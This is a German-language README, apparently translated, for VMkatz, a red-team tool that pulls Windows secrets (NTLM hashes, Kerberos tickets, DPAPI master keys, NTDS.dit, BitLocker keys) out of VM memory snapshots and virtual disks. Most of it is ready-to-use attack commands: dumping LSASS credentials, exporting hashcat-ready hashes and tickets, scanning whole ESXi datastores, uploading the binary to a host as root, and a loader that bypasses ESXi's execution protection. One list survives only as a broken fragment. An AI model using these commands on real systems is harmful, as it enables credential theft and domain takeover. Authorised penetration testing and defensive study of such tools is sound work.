
Windows-Anmeldedaten direkt aus VM-Speicher-Snapshots und virtuellen Festplatten extrahieren
Du befindest dich in der dritten Woche eines Red-Team-Engagements. Dein Verkehr kriecht durch ein VPN, springt dann über vier SOCKS-Proxies, die durch kompromittierte Jump-Boxen verkettet sind, bevor er das Zielnetzwerk erreicht. Jedes Paket nimmt die landschaftlich reizvolle Route.
Nach Tagen der Lateralbewegung landest du auf einem NAS, das am Virtualisierungs-Cluster angeschlossen ist, und die Verzeichnisauflistung trifft anders: Reihen um Reihen von .vmdk, .vmsn, .sav. Hunderte Gigabyte an virtuellen Maschinen – Domänencontroller, Administrator-Workstations, die Kronjuwelen – genau dort.
Aber deine Verbindung keucht bei 200 KB/s. Das Herunterladen eines einzigen 100-GB-Festplattenabbilds würde sechs Tage dauern, und jede Stunde anhaltender Exfiltration ist eine weitere Chance, dass das SOC die Anomalie bemerkt, deinen Tunnel verbrennt und die gesamte Kette zusammenbricht.
VMkatz existiert, weil du nicht exfiltrieren solltest, was du vor Ort lesen kannst. Es extrahiert Windows-Geheimnisse – NTLM-Hashes, DPAPI-Master-Keys, Kerberos-Tickets, zwischengespeicherte Domänenanmeldeinformationen, LSA-Geheimnisse, NTDS.dit, BitLocker-Schlüssel – direkt aus VM-Speicher-Snapshots und virtuellen Festplatten, auf dem NAS, dem Hypervisor, wo auch immer die VM-Dateien sind.
Ein einzelnes statisches Binary, ~3 MB. Lege es auf dem ESXi-Host, dem Proxmox-Knoten oder dem NAS ab. Richte es auf ein .vmsn, .vmdk oder einen gesamten VM-Ordner. Gehe mit Anmeldeinformationen, nicht mit Festplattenabbildern.
Alle 9 SSP-Credential-Provider, die mimikatz implementiert:
Plus: BitLocker FVEK-Extraktion aus dem Speicher (Pool-Tag-Scan nach FVEc/Cngb).
$DPAPImk$ — Modi 15300/15310/15900/15910)Ziel-BS: Windows Server 2003 bis Windows Server 2025 / Windows 11 24H2 (x86 PAE + x64).
# Extract LSASS credentials from a VMware snapshot
./vmkatz snapshot.vmsn
# With pagefile resolution for paged-out creds
./vmkatz --disk disk.vmdk snapshot.vmsn
# Extract SAM/LSA/DCC2 from a virtual disk
./vmkatz disk.vmdk
# Extract AD hashes from a domain controller disk
./vmkatz --ntds dc-disk.qcow2
# Point at a VM folder and let it find everything
./vmkatz /path/to/vm-directory/
# Extract from raw registry hives
./vmkatz SAM SYSTEM SECURITY
# Output as hashcat-ready hashes
./vmkatz --format hashcat snapshot.vmsn
# Export Kerberos tickets
./vmkatz --kirbi snapshot.vmsn # .kirbi files
./vmkatz --ccache snapshot.vmsn # .ccache file
# Export BitLocker FVEK for dislocker
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn
# Recursively scan all VMs under a path
./vmkatz -r /vmfs/volumes/datastore1/
# Parse LSASS minidump
./vmkatz lsass.dmp
# Cross-compile for ESXi (musl static)
cargo build --release --target x86_64-unknown-linux-musl
# Upload and run
scp target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-Snapshot1.vmsn
Wenn der VIB-Schutz (execInstalledOnly) aktiviert ist, verwenden Sie den Python-Loader – kein Deaktivieren der Einstellung erforderlich:
scp tools/vmkatz_loader.py target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
python /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/datastore1/MyVM/snapshot.vmsn
Siehe docs/esxi.md für Details zum VIB-Bypass, VMFS-Rohgerätezugriff und automatischer Erkennung.
VMkatz ist modular. Funktionen können zur Kompilierzeit aktiviert/deaktiviert werden:
cargo build --release # Full build
cargo build --release --no-default-features --features vmware # VMware only
cargo build --release --no-default-features --features "sam ntds.dit" # Disk only
| Provider | Daten | Anmerkungen |
|---|
| MSV1_0 | NT/LM-Hashes, SHA1 | Physical-Scan-Fallback für ausgelagerte Einträge |
| WDigest | Klartext-Passwörter | Linked-List-Durchlauf + .data-Fallback |
| Kerberos | AES/RC4/DES-Schlüssel, Tickets (.kirbi/.ccache) | AVL-Baum-Durchlauf + Ticket-Carving für freigegebene Sitzungen |
| TsPkg | Klartext-Passwörter | Nur RDP-Sitzungen |
| DPAPI | Master-Key-Cache (GUID + entschlüsselter Schlüssel) | SHA1-Masterkey für Offline-DPAPI-Entschlüsselung |
| SSP | Klartext-Anmeldeinformationen | SspCredentialList in msv1_0.dll |
| LiveSSP | Klartext-Anmeldeinformationen | Erfordert livessp.dll (selten nach Win8) |
| Credman | Gespeicherte Anmeldeinformationen | Hash-Tabelle + Single-List-Enumeration |
| CloudAP | Azure AD-Tokens | In der Regel leer bei rein lokaler Anmeldung |
| Format | Erweiterungen | Quelle | Status |
|---|
| VMware-Snapshots | .vmsn + .vmem | Workstation, ESXi | Getestet |
| VMware eingebettete Snapshots | .vmsn (kein .vmem) | ESXi Suspend | Getestet |
| VirtualBox-Speicherzustände | .sav | VirtualBox | Getestet |
| QEMU/KVM Savevm-Zustände | automatisch erkannt | Proxmox, QEMU | Getestet |
| QEMU/KVM ELF-Core-Dumps | .elf | virsh dump | Getestet |
| Hyper-V-Speicherzustände | .vmrs | Hyper-V 2016+ | Nicht getestet |
| VMware-Virtuelle Festplatten | .vmdk (sparse + flat) | Workstation, ESXi | Getestet |
| VirtualBox-Virtuelle Festplatten | .vdi | VirtualBox | Getestet |
| QEMU/KVM-Virtuelle Festplatten | .qcow2 | QEMU, Proxmox | Getestet |
| Hyper-V-Virtuelle Festplatten | .vhdx, .vhd | Hyper-V | Getestet |
| VMFS-5/6-Roh-SCSI-Geräte | /dev/disks/... | ESXi (umgeht Dateisperren) | Getestet |
| LVM-Blockgeräte | /dev/... | Proxmox LVM-thin | Getestet |
| Rohe Registrierungsstrukturdateien | SAM, SYSTEM, SECURITY | reg save | Getestet |
| Rohe NTDS.dit | ntds.dit + SYSTEM | Domänencontroller | Getestet |
| LSASS-Minidump | .dmp | procdump, Task-Manager | Getestet |
| VM-Verzeichnisse | beliebiger Ordner | Automatische Erkennung aller Dateien | Getestet |
| Format | Flag | Beschreibung |
|---|
text | --format text (Standard) | Vollständiger Credential-Dump mit Sitzungsmetadaten |
brief | --format brief | Kompakte Zusammenfassung mit einer Zeile pro Credential |
ntlm | --format ntlm | DOMAIN\user:::hash::: pwdump-Format |
hashcat | --format hashcat | Rohe Hashes: Mode 1000 (NTLM), 2100 (DCC2), 15300/15900 (DPAPI) |
csv | --format csv | Maschinenlesbar, alle Felder |
| Feature | Beschreibung | Standard |
|---|
vmware | Unterstützung für VMware .vmsn/.vmem-Snapshots | Ja |
vbox | Unterstützung für VirtualBox .sav-Speicherzustände | Ja |
qemu | QEMU/KVM ELF-Core-Dumps + Proxmox-Savevm | Ja |
hyperv | Unterstützung für Hyper-V .vmrs/.bin/.raw-Dumps | Ja |
sam | Festplattenextraktion (SAM/LSA/DCC2) + Festplattenformat-Handler | Ja |
ntds.dit | NTDS.dit-AD-Extraktion. Erfordert sam | Ja |
carve | Degradierte Extraktion aus teilweisem/abgeschnittenem Speicher | Ja |
dump | Prozessspeicher-Dump als Minidump | Ja |
vmfs | VMFS-5/6-Rohparser für ESXi-SCSI-Geräte. Erfordert sam | Ja |